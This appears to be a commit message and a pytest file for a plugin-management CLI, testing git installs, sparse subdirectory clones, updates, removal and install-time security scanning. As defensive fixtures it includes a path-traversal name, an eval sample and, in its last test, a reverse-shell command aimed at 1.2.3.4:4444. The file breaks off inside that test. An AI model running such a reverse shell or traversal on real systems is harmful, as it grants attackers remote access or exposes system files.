A plugin that lives in a monorepo subdirectory (the Hindsight catalog entry: vectorize-io/hindsight#hindsight-integrations/hermes) was cloned with every file in the repository even at --depth 1: 170 MB for a 2 MB plugin folder. On a slow link that exceeds any reasonable deadline, so `hermes update`'s Hindsight migration failed with "Git clone timed out" every time. Subdirectory installs now do a blobless clone (--filter=blob:none --no-checkout) and a sparse checkout of just that folder, written as the classic info/sparse-checkout file so older Git clients work too. Servers without partial-clone support ignore the filter and fall back to the old download. Because a partial clone downloads file contents at checkout time, the checkout step (pinned and unpinned) now gets the configured network deadline and the credential fallback, same as clone and fetch. Every timeout error names plugins.clone_timeout_seconds so users can find the knob. Existing test fakes of _clone_plugin_repo accept the new subdir argument.
932 lines
36 KiB
Python
932 lines
36 KiB
Python
"""Tests for hermes_cli.plugins_cmd — the ``hermes plugins`` CLI subcommand."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import json
|
|
import logging
|
|
import os
|
|
import shutil
|
|
from pathlib import Path
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
import pytest
|
|
import yaml
|
|
|
|
from hermes_cli.plugins_cmd import (
|
|
PluginOperationError,
|
|
_copy_example_files,
|
|
_read_manifest,
|
|
_refuse_unavailable_portable_plugin,
|
|
_repo_name_from_url,
|
|
_resolve_git_url,
|
|
_resolve_subdir_within,
|
|
_sanitize_plugin_name,
|
|
)
|
|
|
|
|
|
def _write_portable_app_plugin(root: Path, app: Path) -> None:
|
|
from hermes_cli.agent_plugins import MCP_SCHEMA_V1, PLUGIN_SCHEMA_V1
|
|
from hermes_platform.host.facts import os_family
|
|
|
|
(root / "plugin.json").write_text(json.dumps({
|
|
"$schema": PLUGIN_SCHEMA_V1,
|
|
"name": "example-plugin",
|
|
"extensions": {"com.nousresearch.hermes": {"servers": {"worker": {
|
|
"app": {os_family(): {"presence": "executable", "location": str(app)}},
|
|
"requires": {"app": True},
|
|
}}}},
|
|
}), encoding="utf-8")
|
|
(root / "mcp.json").write_text(json.dumps({
|
|
"$schema": MCP_SCHEMA_V1,
|
|
"mcpServers": {"worker": {"type": "stdio", "command": "python"}},
|
|
}), encoding="utf-8")
|
|
|
|
|
|
def test_portable_install_gate_accepts_present_app_and_refuses_missing(tmp_path: Path) -> None:
|
|
app = tmp_path / "example-app"
|
|
app.write_text("", encoding="utf-8")
|
|
_write_portable_app_plugin(tmp_path, app)
|
|
|
|
_refuse_unavailable_portable_plugin("example-plugin", tmp_path)
|
|
app.unlink()
|
|
with pytest.raises(PluginOperationError, match="example-plugin.*worker.*missing_app"):
|
|
_refuse_unavailable_portable_plugin("example-plugin", tmp_path)
|
|
|
|
|
|
# ── _sanitize_plugin_name ─────────────────────────────────────────────────
|
|
|
|
|
|
class TestSanitizePluginName:
|
|
"""Reject path-traversal attempts while accepting valid names."""
|
|
|
|
def test_valid_simple_name(self, tmp_path):
|
|
target = _sanitize_plugin_name("my-plugin", tmp_path)
|
|
assert target == (tmp_path / "my-plugin").resolve()
|
|
|
|
|
|
def test_rejects_dot_dot(self, tmp_path):
|
|
with pytest.raises(ValueError, match="must not contain"):
|
|
_sanitize_plugin_name("../../etc/passwd", tmp_path)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── allow_subdir=True ──
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# ── _resolve_git_url ──────────────────────────────────────────────────────
|
|
|
|
|
|
class TestResolveGitUrl:
|
|
"""Shorthand and full-URL resolution, with optional subdirectory."""
|
|
|
|
|
|
|
|
|
|
|
|
def test_url_with_fragment_subdir(self):
|
|
url, subdir = _resolve_git_url("https://github.com/owner/repo.git#my-plugin")
|
|
assert url == "https://github.com/owner/repo.git"
|
|
assert subdir == "my-plugin"
|
|
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"identifier",
|
|
[
|
|
"https://github.com/owner/repo",
|
|
"https://github.com/owner/repo.git",
|
|
"https://github.com/owner",
|
|
"https://github.com/owner/repo/branches",
|
|
"https://github.com/owner//tree/main",
|
|
"https://gitlab.com/owner/repo/tree/main",
|
|
"git@github.com:owner/repo.git",
|
|
"file:///tmp/repo/tree/main",
|
|
],
|
|
)
|
|
def test_non_browser_urls_passthrough(self, identifier):
|
|
url, subdir = _resolve_git_url(identifier)
|
|
assert url == identifier
|
|
assert subdir is None
|
|
|
|
|
|
# ── _resolve_subdir_within ──────────────────────────────────────────────────
|
|
|
|
|
|
class TestResolveSubdirWithin:
|
|
"""Subdirectory resolution stays within the clone and rejects traversal."""
|
|
|
|
|
|
def test_valid_nested_subdir(self, tmp_path):
|
|
(tmp_path / "a" / "b" / "c").mkdir(parents=True)
|
|
result = _resolve_subdir_within(tmp_path, "a/b/c")
|
|
assert result == (tmp_path / "a" / "b" / "c").resolve()
|
|
|
|
|
|
|
|
def test_rejects_symlink_escape(self, tmp_path):
|
|
clone = tmp_path / "clone"
|
|
clone.mkdir()
|
|
outside = tmp_path / "outside"
|
|
outside.mkdir()
|
|
(clone / "link").symlink_to(outside)
|
|
with pytest.raises(PluginOperationError, match="escapes the repository"):
|
|
_resolve_subdir_within(clone, "link")
|
|
|
|
|
|
# ── _resolve_git_executable ─────────────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
class TestGitPullPluginDirAutostash:
|
|
"""Real-git E2E: local edits in a plugin checkout must not block updates."""
|
|
|
|
@staticmethod
|
|
def _make_repos(tmp_path):
|
|
import subprocess as sp
|
|
|
|
def git(cwd, *args):
|
|
r = sp.run(["git", *args], cwd=str(cwd), capture_output=True, text=True)
|
|
assert r.returncode == 0, r.stderr
|
|
return r.stdout
|
|
|
|
origin = tmp_path / "origin"
|
|
origin.mkdir()
|
|
git(origin, "init", "-q", "-b", "main")
|
|
git(origin, "config", "user.email", "t@t")
|
|
git(origin, "config", "user.name", "t")
|
|
pad = "\n".join(f"# pad {i}" for i in range(12))
|
|
(origin / "plugin.py").write_text(
|
|
f"VALUE = 1\n{pad}\nOTHER = 'a'\n", encoding="utf-8"
|
|
)
|
|
git(origin, "add", ".")
|
|
git(origin, "commit", "-qm", "init")
|
|
|
|
checkout = tmp_path / "checkout"
|
|
git(tmp_path, "clone", "-q", str(origin), str(checkout))
|
|
git(checkout, "config", "user.email", "t@t")
|
|
git(checkout, "config", "user.name", "t")
|
|
return origin, checkout, git
|
|
|
|
@staticmethod
|
|
def _set_line(repo, prefix, new_line):
|
|
"""Replace the line starting with ``prefix`` in plugin.py, keep the rest."""
|
|
f = repo / "plugin.py"
|
|
lines = f.read_text(encoding="utf-8").splitlines()
|
|
lines = [new_line if ln.startswith(prefix) else ln for ln in lines]
|
|
f.write_text("\n".join(lines) + "\n", encoding="utf-8")
|
|
|
|
def test_dirty_checkout_pulls_and_reapplies_local_edit(self, tmp_path):
|
|
import hermes_cli.plugins_cmd as pc
|
|
|
|
if not pc._resolve_git_executable():
|
|
pytest.skip("git not available")
|
|
origin, checkout, git = self._make_repos(tmp_path)
|
|
|
|
# Upstream changes one line; local edit touches a DIFFERENT line.
|
|
self._set_line(origin, "VALUE", "VALUE = 2")
|
|
git(origin, "commit", "-qam", "bump value")
|
|
self._set_line(checkout, "OTHER", "OTHER = 'local'")
|
|
|
|
ok, msg = pc._git_pull_plugin_dir(checkout)
|
|
assert ok is True
|
|
content = (checkout / "plugin.py").read_text(encoding="utf-8")
|
|
assert "VALUE = 2" in content # update landed
|
|
assert "OTHER = 'local'" in content # local edit survived
|
|
assert "re-applied" in msg
|
|
# Clean re-apply drops the autostash entry.
|
|
assert git(checkout, "stash", "list").strip() == ""
|
|
|
|
def test_conflicting_local_edit_is_preserved_in_stash(self, tmp_path):
|
|
import hermes_cli.plugins_cmd as pc
|
|
|
|
if not pc._resolve_git_executable():
|
|
pytest.skip("git not available")
|
|
origin, checkout, git = self._make_repos(tmp_path)
|
|
|
|
# Upstream and local both change the SAME line → re-apply conflicts.
|
|
self._set_line(origin, "VALUE", "VALUE = 2")
|
|
git(origin, "commit", "-qam", "bump value")
|
|
self._set_line(checkout, "VALUE", "VALUE = 99")
|
|
|
|
ok, msg = pc._git_pull_plugin_dir(checkout)
|
|
assert ok is True
|
|
content = (checkout / "plugin.py").read_text(encoding="utf-8")
|
|
# Checkout is importable on the updated revision — no conflict markers.
|
|
assert "<<<<<<<" not in content
|
|
assert "VALUE = 2" in content
|
|
assert "preserved in git stash" in msg
|
|
# The local edit is recoverable from the kept stash entry.
|
|
stash_list = git(checkout, "stash", "list")
|
|
assert "hermes-plugin-update-autostash" in stash_list
|
|
stash_diff = git(checkout, "stash", "show", "-p", "stash@{0}")
|
|
assert "VALUE = 99" in stash_diff
|
|
|
|
def test_untracked_local_file_survives_update(self, tmp_path):
|
|
import hermes_cli.plugins_cmd as pc
|
|
|
|
if not pc._resolve_git_executable():
|
|
pytest.skip("git not available")
|
|
origin, checkout, git = self._make_repos(tmp_path)
|
|
|
|
self._set_line(origin, "VALUE", "VALUE = 2")
|
|
git(origin, "commit", "-qam", "bump value")
|
|
(checkout / "local_notes.txt").write_text("keep me\n", encoding="utf-8")
|
|
|
|
ok, msg = pc._git_pull_plugin_dir(checkout)
|
|
assert ok is True
|
|
assert (checkout / "local_notes.txt").read_text(encoding="utf-8") == "keep me\n"
|
|
assert "VALUE = 2" in (checkout / "plugin.py").read_text(encoding="utf-8")
|
|
|
|
def test_clean_checkout_unchanged_behavior(self, tmp_path):
|
|
import hermes_cli.plugins_cmd as pc
|
|
|
|
if not pc._resolve_git_executable():
|
|
pytest.skip("git not available")
|
|
origin, checkout, git = self._make_repos(tmp_path)
|
|
|
|
ok, msg = pc._git_pull_plugin_dir(checkout)
|
|
assert ok is True
|
|
assert "Already up to date" in msg
|
|
|
|
def test_autostash_addresses_git_by_sha_never_brace_selector(self, tmp_path, monkeypatch):
|
|
"""Native Windows: MSYS strips the braces from ``stash@{0}`` in git.exe's argv, so the
|
|
apply and the drop must target the autostash by its commit sha / positionally (#87542)."""
|
|
import hermes_cli.plugins_cmd as pc
|
|
|
|
if not pc._resolve_git_executable():
|
|
pytest.skip("git not available")
|
|
origin, checkout, git = self._make_repos(tmp_path)
|
|
self._set_line(origin, "VALUE", "VALUE = 2")
|
|
git(origin, "commit", "-qam", "bump value")
|
|
self._set_line(checkout, "OTHER", "OTHER = 'local'")
|
|
|
|
argv_log: list[tuple[str, ...]] = []
|
|
real_run = pc._run_plugin_git
|
|
|
|
def recording_run(git_exe, target, *args, **kwargs):
|
|
argv_log.append(args)
|
|
return real_run(git_exe, target, *args, **kwargs)
|
|
|
|
monkeypatch.setattr(pc, "_run_plugin_git", recording_run)
|
|
ok, msg = pc._git_pull_plugin_dir(checkout)
|
|
|
|
assert ok is True and "re-applied" in msg
|
|
assert git(checkout, "stash", "list").strip() == ""
|
|
assert not any("{" in arg or "}" in arg for args in argv_log for arg in args), argv_log
|
|
applied = [args for args in argv_log if args[:2] == ("stash", "apply")]
|
|
assert len(applied) == 1 and len(applied[0][2]) == 40, applied # by commit sha
|
|
|
|
|
|
# ── _repo_name_from_url ──────────────────────────────────────────────────
|
|
|
|
|
|
class TestRepoNameFromUrl:
|
|
"""Extract plugin directory name from Git URLs."""
|
|
|
|
def test_https_with_dot_git(self):
|
|
assert (
|
|
_repo_name_from_url("https://github.com/owner/my-plugin.git") == "my-plugin"
|
|
)
|
|
|
|
|
|
|
|
|
|
# ── plugins_command dispatch ──────────────────────────────────────────────
|
|
|
|
|
|
# ── _read_manifest ────────────────────────────────────────────────────────
|
|
|
|
|
|
class TestReadManifest:
|
|
"""Manifest reading edge cases."""
|
|
|
|
|
|
def test_missing_file_returns_empty(self, tmp_path):
|
|
result = _read_manifest(tmp_path)
|
|
assert result == {}
|
|
|
|
def test_invalid_yaml_returns_empty_and_logs(self, tmp_path, caplog):
|
|
(tmp_path / "plugin.yaml").write_text(": : : bad yaml [[[", encoding="utf-8")
|
|
with caplog.at_level(logging.WARNING, logger="hermes_cli.plugins_cmd"):
|
|
result = _read_manifest(tmp_path)
|
|
assert result == {}
|
|
assert any("Failed to read plugin.yaml" in r.message for r in caplog.records)
|
|
|
|
def test_empty_file_returns_empty(self, tmp_path):
|
|
(tmp_path / "plugin.yaml").write_text("", encoding="utf-8")
|
|
result = _read_manifest(tmp_path)
|
|
assert result == {}
|
|
|
|
|
|
# ── cmd_install tests ─────────────────────────────────────────────────────────
|
|
|
|
|
|
class TestCmdInstall:
|
|
"""Test the install command."""
|
|
|
|
def test_install_requires_identifier(self):
|
|
from hermes_cli.plugins_cmd import cmd_install
|
|
|
|
with pytest.raises(SystemExit):
|
|
cmd_install("")
|
|
|
|
@patch("hermes_cli.plugins_cmd._resolve_git_url")
|
|
def test_install_validates_identifier(self, mock_resolve):
|
|
from hermes_cli.plugins_cmd import cmd_install
|
|
|
|
mock_resolve.side_effect = ValueError("Invalid identifier")
|
|
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
cmd_install("invalid")
|
|
assert exc_info.value.code == 1
|
|
|
|
@patch("hermes_cli.plugins_cmd._display_after_install")
|
|
@patch("hermes_cli.plugins_cmd.shutil.move")
|
|
@patch("hermes_cli.plugins_cmd.rmtree_readonly")
|
|
@patch("hermes_cli.plugins_cmd._plugins_dir")
|
|
@patch("hermes_cli.plugins_cmd._read_manifest")
|
|
@patch("hermes_cli.plugins_cmd.subprocess.run")
|
|
def test_install_rejects_manifest_name_pointing_at_plugins_root(
|
|
self,
|
|
mock_run,
|
|
mock_read_manifest,
|
|
mock_plugins_dir,
|
|
mock_rmtree,
|
|
mock_move,
|
|
mock_display_after_install,
|
|
tmp_path,
|
|
):
|
|
from hermes_cli.plugins_cmd import cmd_install
|
|
|
|
plugins_dir = tmp_path / "plugins"
|
|
plugins_dir.mkdir()
|
|
mock_plugins_dir.return_value = plugins_dir
|
|
mock_run.return_value = MagicMock(returncode=0, stdout="", stderr="")
|
|
mock_read_manifest.return_value = {"name": "."}
|
|
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
cmd_install("owner/repo", force=True)
|
|
|
|
assert exc_info.value.code == 1
|
|
assert plugins_dir not in [call.args[0] for call in mock_rmtree.call_args_list]
|
|
mock_move.assert_not_called()
|
|
mock_display_after_install.assert_not_called()
|
|
|
|
|
|
# ── cmd_update tests ─────────────────────────────────────────────────────────
|
|
|
|
|
|
class TestCmdUpdate:
|
|
"""Test the update command."""
|
|
|
|
|
|
@patch("hermes_cli.plugins_cmd._sanitize_plugin_name")
|
|
@patch("hermes_cli.plugins_cmd._plugins_dir")
|
|
def test_update_plugin_not_found(self, mock_plugins_dir, mock_sanitize):
|
|
from hermes_cli.plugins_cmd import cmd_update
|
|
|
|
mock_plugins_dir_val = MagicMock()
|
|
mock_plugins_dir_val.iterdir.return_value = []
|
|
mock_plugins_dir.return_value = mock_plugins_dir_val
|
|
mock_target = MagicMock()
|
|
mock_target.exists.return_value = False
|
|
mock_sanitize.return_value = mock_target
|
|
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
cmd_update("nonexistent-plugin")
|
|
|
|
assert exc_info.value.code == 1
|
|
|
|
|
|
# ── cmd_remove tests ─────────────────────────────────────────────────────────
|
|
|
|
|
|
class TestCmdRemove:
|
|
"""Test the remove command."""
|
|
|
|
|
|
@patch("hermes_cli.plugins_cmd._sanitize_plugin_name")
|
|
@patch("hermes_cli.plugins_cmd._plugins_dir")
|
|
def test_remove_plugin_not_found(self, mock_plugins_dir, mock_sanitize):
|
|
from hermes_cli.plugins_cmd import cmd_remove
|
|
|
|
mock_plugins_dir_val = MagicMock()
|
|
mock_plugins_dir_val.iterdir.return_value = []
|
|
mock_plugins_dir.return_value = mock_plugins_dir_val
|
|
mock_target = MagicMock()
|
|
mock_target.exists.return_value = False
|
|
mock_sanitize.return_value = mock_target
|
|
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
cmd_remove("nonexistent-plugin")
|
|
|
|
assert exc_info.value.code == 1
|
|
|
|
def test_remove_plugin_core_deletes_read_only_git_tree(self, tmp_path):
|
|
"""Git leaves loose objects read-only: removal must clear that, not abort (#117179)."""
|
|
from hermes_cli.plugins_cmd import _remove_plugin_core
|
|
|
|
target = tmp_path / "plugins" / "demo"
|
|
obj_dir = target / ".git" / "objects" / "4b"
|
|
obj_dir.mkdir(parents=True)
|
|
obj = obj_dir / "825dc642cb6eb9a060e54bf8d69288fbee4904"
|
|
obj.write_text("blob", encoding="utf-8")
|
|
obj.chmod(0o444)
|
|
obj_dir.chmod(0o555)
|
|
|
|
_remove_plugin_core(target)
|
|
|
|
assert not target.exists()
|
|
|
|
|
|
# ── cmd_list tests ─────────────────────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
# ── _copy_example_files tests ─────────────────────────────────────────────────
|
|
|
|
|
|
class TestCopyExampleFiles:
|
|
"""Test example file copying."""
|
|
|
|
def test_copies_example_files(self, tmp_path):
|
|
from unittest.mock import MagicMock
|
|
|
|
console = MagicMock()
|
|
|
|
# Create example file
|
|
example_file = tmp_path / "config.yaml.example"
|
|
example_file.write_text("key: value", encoding="utf-8")
|
|
|
|
_copy_example_files(tmp_path, console)
|
|
|
|
# Should have created the file
|
|
assert (tmp_path / "config.yaml").exists()
|
|
console.print.assert_called()
|
|
|
|
|
|
def test_handles_copy_error_gracefully(self, tmp_path):
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
console = MagicMock()
|
|
|
|
# Create example file
|
|
example_file = tmp_path / "config.yaml.example"
|
|
example_file.write_text("key: value", encoding="utf-8")
|
|
|
|
# Mock shutil.copy2 to raise an error
|
|
with patch(
|
|
"hermes_cli.plugins_cmd.shutil.copy2",
|
|
side_effect=OSError("Permission denied"),
|
|
):
|
|
# Should not raise, just warn
|
|
_copy_example_files(tmp_path, console)
|
|
|
|
# Should have printed a warning
|
|
assert any("Warning" in str(c) for c in console.print.call_args_list)
|
|
|
|
|
|
class TestPromptPluginEnvVars:
|
|
"""Tests for _prompt_plugin_env_vars."""
|
|
|
|
|
|
|
|
|
|
def test_prompts_for_missing_var_rich_format(self):
|
|
from hermes_cli.plugins_cmd import _prompt_plugin_env_vars
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
console = MagicMock()
|
|
manifest = {
|
|
"name": "langfuse_tracing",
|
|
"requires_env": [
|
|
{
|
|
"name": "LANGFUSE_PUBLIC_KEY",
|
|
"description": "Public key",
|
|
"url": "https://langfuse.com",
|
|
"secret": False,
|
|
},
|
|
],
|
|
}
|
|
|
|
with patch("hermes_cli.config.get_env_value", return_value=None), \
|
|
patch("builtins.input", return_value="pk-lf-123"), \
|
|
patch("hermes_cli.config.save_env_value") as mock_save:
|
|
_prompt_plugin_env_vars(manifest, console)
|
|
|
|
mock_save.assert_called_once_with("LANGFUSE_PUBLIC_KEY", "pk-lf-123")
|
|
# Should show url hint
|
|
printed = " ".join(str(c) for c in console.print.call_args_list)
|
|
assert "langfuse.com" in printed
|
|
|
|
def test_secret_uses_masked_prompt(self):
|
|
from hermes_cli.plugins_cmd import _prompt_plugin_env_vars
|
|
from unittest.mock import MagicMock, patch
|
|
|
|
console = MagicMock()
|
|
manifest = {
|
|
"name": "test",
|
|
"requires_env": [{"name": "SECRET_KEY", "secret": True}],
|
|
}
|
|
|
|
with patch("hermes_cli.config.get_env_value", return_value=None), \
|
|
patch("hermes_cli.plugins_cmd.masked_secret_prompt", return_value="s3cret") as mock_prompt, \
|
|
patch("hermes_cli.config.save_env_value"):
|
|
_prompt_plugin_env_vars(manifest, console)
|
|
|
|
mock_prompt.assert_called_once()
|
|
|
|
|
|
|
|
|
|
# ── curses_radiolist ─────────────────────────────────────────────────────
|
|
|
|
|
|
class TestCursesRadiolist:
|
|
"""Test the curses_radiolist function."""
|
|
|
|
def test_non_tty_returns_default(self):
|
|
from hermes_cli.curses_ui import curses_radiolist
|
|
with patch("sys.stdin") as mock_stdin:
|
|
mock_stdin.isatty.return_value = False
|
|
result = curses_radiolist("Pick one", ["a", "b", "c"], selected=1)
|
|
assert result == 1
|
|
|
|
|
|
# ── Provider discovery helpers ───────────────────────────────────────────
|
|
|
|
|
|
class TestProviderDiscovery:
|
|
"""Test provider plugin discovery and config helpers."""
|
|
|
|
|
|
|
|
def test_save_context_engine(self, tmp_path, monkeypatch):
|
|
"""Saving a context engine persists to config.yaml."""
|
|
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
|
|
config_file = tmp_path / "config.yaml"
|
|
config_file.write_text("context:\n engine: compressor\n", encoding="utf-8")
|
|
from hermes_cli.plugins_cmd import _save_context_engine
|
|
_save_context_engine("lcm")
|
|
content = yaml.safe_load(config_file.read_text(encoding="utf-8"))
|
|
assert content["context"]["engine"] == "lcm"
|
|
|
|
|
|
def test_discover_context_engines_empty(self):
|
|
"""Discovery returns empty list when import fails."""
|
|
with patch("plugins.context_engine.discover_context_engines",
|
|
side_effect=ImportError("no module")):
|
|
from hermes_cli.plugins_cmd import _discover_context_engines
|
|
result = _discover_context_engines()
|
|
assert result == []
|
|
|
|
|
|
# ── Auto-activation fix ──────────────────────────────────────────────────
|
|
|
|
|
|
|
|
|
|
# ── End-to-end subdirectory install ──────────────────────────────────────────
|
|
|
|
|
|
class TestSubdirInstallE2E:
|
|
"""Install a plugin that lives in a subdirectory of a real local git repo."""
|
|
|
|
@staticmethod
|
|
def _make_repo_with_subdir_plugin(repo_root: Path) -> None:
|
|
"""Create a git repo where the plugin lives in ``./my-plugin/`` and the
|
|
repo root holds unrelated docs/tests."""
|
|
import subprocess as sp
|
|
|
|
repo_root.mkdir(parents=True, exist_ok=True)
|
|
# Root-level noise: docs + tests that should NOT be installed.
|
|
(repo_root / "README.md").write_text("# Monorepo docs\n", encoding="utf-8")
|
|
(repo_root / "tests").mkdir()
|
|
(repo_root / "tests" / "test_x.py").write_text(
|
|
"def test_x():\n pass\n", encoding="utf-8"
|
|
)
|
|
# The actual plugin in a subdirectory.
|
|
plugin_dir = repo_root / "my-plugin"
|
|
plugin_dir.mkdir()
|
|
(plugin_dir / "plugin.yaml").write_text(
|
|
"name: my-plugin\nmanifest_version: 1\ndescription: A subdir plugin\n",
|
|
encoding="utf-8",
|
|
)
|
|
(plugin_dir / "__init__.py").write_text("# plugin entry\n", encoding="utf-8")
|
|
|
|
env = {
|
|
**os.environ,
|
|
"GIT_AUTHOR_NAME": "t",
|
|
"GIT_AUTHOR_EMAIL": "t@t",
|
|
"GIT_COMMITTER_NAME": "t",
|
|
"GIT_COMMITTER_EMAIL": "t@t",
|
|
}
|
|
sp.run(["git", "init", "-q"], cwd=repo_root, check=True, env=env)
|
|
sp.run(["git", "add", "-A"], cwd=repo_root, check=True, env=env)
|
|
sp.run(
|
|
["git", "commit", "-q", "-m", "init"],
|
|
cwd=repo_root,
|
|
check=True,
|
|
env=env,
|
|
)
|
|
|
|
def test_installs_only_the_subdir_plugin(self, tmp_path, monkeypatch):
|
|
if shutil.which("git") is None:
|
|
pytest.skip("git not available")
|
|
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
repo_root = tmp_path / "monorepo"
|
|
self._make_repo_with_subdir_plugin(repo_root)
|
|
|
|
plugins_dir = tmp_path / "installed"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
|
|
identifier = f"file://{repo_root}#my-plugin"
|
|
target, manifest, name = pc._install_plugin_core(identifier, force=False)
|
|
|
|
# Installed under the plugin's own name, not the repo name.
|
|
assert name == "my-plugin"
|
|
assert manifest.get("name") == "my-plugin"
|
|
assert target == (plugins_dir / "my-plugin").resolve()
|
|
|
|
# The plugin's files are present...
|
|
assert (target / "plugin.yaml").exists()
|
|
assert (target / "__init__.py").exists()
|
|
# ...and the repo-root noise is NOT.
|
|
assert not (target / "README.md").exists()
|
|
assert not (target / "tests").exists()
|
|
|
|
def test_missing_subdir_raises(self, tmp_path, monkeypatch):
|
|
if shutil.which("git") is None:
|
|
pytest.skip("git not available")
|
|
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
repo_root = tmp_path / "monorepo"
|
|
self._make_repo_with_subdir_plugin(repo_root)
|
|
|
|
plugins_dir = tmp_path / "installed"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
|
|
identifier = f"file://{repo_root}#does-not-exist"
|
|
with pytest.raises(PluginOperationError, match="does not exist"):
|
|
pc._install_plugin_core(identifier, force=False)
|
|
|
|
def test_subdir_install_stays_updatable(self, tmp_path, monkeypatch):
|
|
"""A subdir install ships no ``.git`` (it stays in the temp clone), so ``plugins update``
|
|
must re-install from the recorded source instead of refusing (#65314)."""
|
|
if shutil.which("git") is None:
|
|
pytest.skip("git not available")
|
|
import subprocess as sp
|
|
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
repo_root = tmp_path / "monorepo"
|
|
self._make_repo_with_subdir_plugin(repo_root)
|
|
plugins_dir = tmp_path / "installed"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
monkeypatch.setattr(pc, "_install_metadata_path", lambda: plugins_dir / ".install-metadata.json")
|
|
target, _manifest, _name = pc._install_plugin_core(f"file://{repo_root}#my-plugin", force=False)
|
|
assert not (target / ".git").exists()
|
|
|
|
(repo_root / "my-plugin" / "__init__.py").write_text("VERSION = 2\n", encoding="utf-8")
|
|
env = {**os.environ, "GIT_AUTHOR_NAME": "t", "GIT_AUTHOR_EMAIL": "t@t",
|
|
"GIT_COMMITTER_NAME": "t", "GIT_COMMITTER_EMAIL": "t@t"}
|
|
sp.run(["git", "commit", "-qam", "v2"], cwd=repo_root, check=True, env=env)
|
|
new_sha = sp.run(["git", "rev-parse", "HEAD"], cwd=repo_root, check=True,
|
|
capture_output=True, text=True).stdout.strip()
|
|
|
|
output = pc._pull_plugin_update(target, lambda rec: "pinned", lambda: "not git")
|
|
|
|
assert "VERSION = 2" in (target / "__init__.py").read_text(encoding="utf-8")
|
|
assert pc._read_install_metadata()["my-plugin"]["revision"] == new_sha
|
|
assert "Already up to date" not in output
|
|
# A second update with nothing new upstream reports up to date, like `git pull`.
|
|
assert "Already up to date" in pc._pull_plugin_update(target, lambda rec: "pinned", lambda: "not git")
|
|
|
|
def test_installs_portable_root_package_disabled(self, tmp_path, monkeypatch):
|
|
if shutil.which("git") is None:
|
|
pytest.skip("git not available")
|
|
|
|
import json
|
|
import subprocess as sp
|
|
from hermes_cli import plugins_cmd as pc
|
|
from hermes_cli.agent_plugins import PLUGIN_SCHEMA_V1
|
|
|
|
repo_root = tmp_path / "portable-repo"
|
|
repo_root.mkdir()
|
|
(repo_root / "plugin.json").write_text(
|
|
json.dumps({"$schema": PLUGIN_SCHEMA_V1, "name": "portable.test"})
|
|
)
|
|
env = {
|
|
**os.environ,
|
|
"GIT_AUTHOR_NAME": "t",
|
|
"GIT_AUTHOR_EMAIL": "t@t",
|
|
"GIT_COMMITTER_NAME": "t",
|
|
"GIT_COMMITTER_EMAIL": "t@t",
|
|
}
|
|
sp.run(["git", "init", "-q"], cwd=repo_root, check=True, env=env)
|
|
sp.run(["git", "add", "-A"], cwd=repo_root, check=True, env=env)
|
|
sp.run(["git", "commit", "-q", "-m", "init"], cwd=repo_root, check=True, env=env)
|
|
plugins_dir = tmp_path / "installed"
|
|
plugins_dir.mkdir()
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
|
|
target, manifest, name = pc._install_plugin_core(
|
|
f"file://{repo_root}", force=False
|
|
)
|
|
|
|
assert name == "portable.test"
|
|
assert manifest["name"] == "portable.test"
|
|
assert target == (plugins_dir / "portable.test").resolve()
|
|
assert pc._resolve_plugin_key("portable.test") == "portable.test"
|
|
|
|
|
|
class TestReviewedPinScanTrust:
|
|
"""A caution-verdict tree installs without a prompt when it is the reviewed catalog pin, still
|
|
prompts/blocks as a raw source or at a different revision, and dangerous blocks regardless."""
|
|
|
|
SHA = "a" * 40
|
|
|
|
def _fake_clone(self, pc, monkeypatch, plugins_dir, extra_file, body):
|
|
def fake_clone(tmp_clone, git_url, revision, subdir=None):
|
|
tmp_clone.mkdir()
|
|
(tmp_clone / "plugin.yaml").write_text("name: scanme\nmanifest_version: 1\n", encoding="utf-8")
|
|
(tmp_clone / extra_file).write_text(body, encoding="utf-8")
|
|
return revision or "b" * 40
|
|
|
|
monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone)
|
|
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
|
monkeypatch.setattr(pc, "_scan_on_install_enabled", lambda: True)
|
|
|
|
def test_caution_trusted_only_at_the_reviewed_sha(self, tmp_path, monkeypatch):
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
plugins_dir = tmp_path / "plugins"
|
|
plugins_dir.mkdir()
|
|
self._fake_clone(pc, monkeypatch, plugins_dir, "helper.py", "eval('1 + 1')\n") # caution
|
|
|
|
with pytest.raises(pc.PluginScanBlocked):
|
|
pc._install_plugin_core("https://github.com/o/r", force=False)
|
|
with pytest.raises(pc.PluginScanBlocked): # catalog install whose checkout is NOT the pin
|
|
pc._install_plugin_core("https://github.com/o/r", force=False, ref="c" * 40, reviewed_pin=self.SHA)
|
|
target, _manifest, name = pc._install_plugin_core(
|
|
"https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)
|
|
assert name == "scanme" and target.is_dir()
|
|
|
|
def test_dangerous_blocks_even_at_the_reviewed_sha(self, tmp_path, monkeypatch):
|
|
from hermes_cli import plugins_cmd as pc
|
|
|
|
plugins_dir = tmp_path / "plugins"
|
|
plugins_dir.mkdir()
|
|
self._fake_clone(pc, monkeypatch, plugins_dir, "setup.sh", "/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n")
|
|
|
|
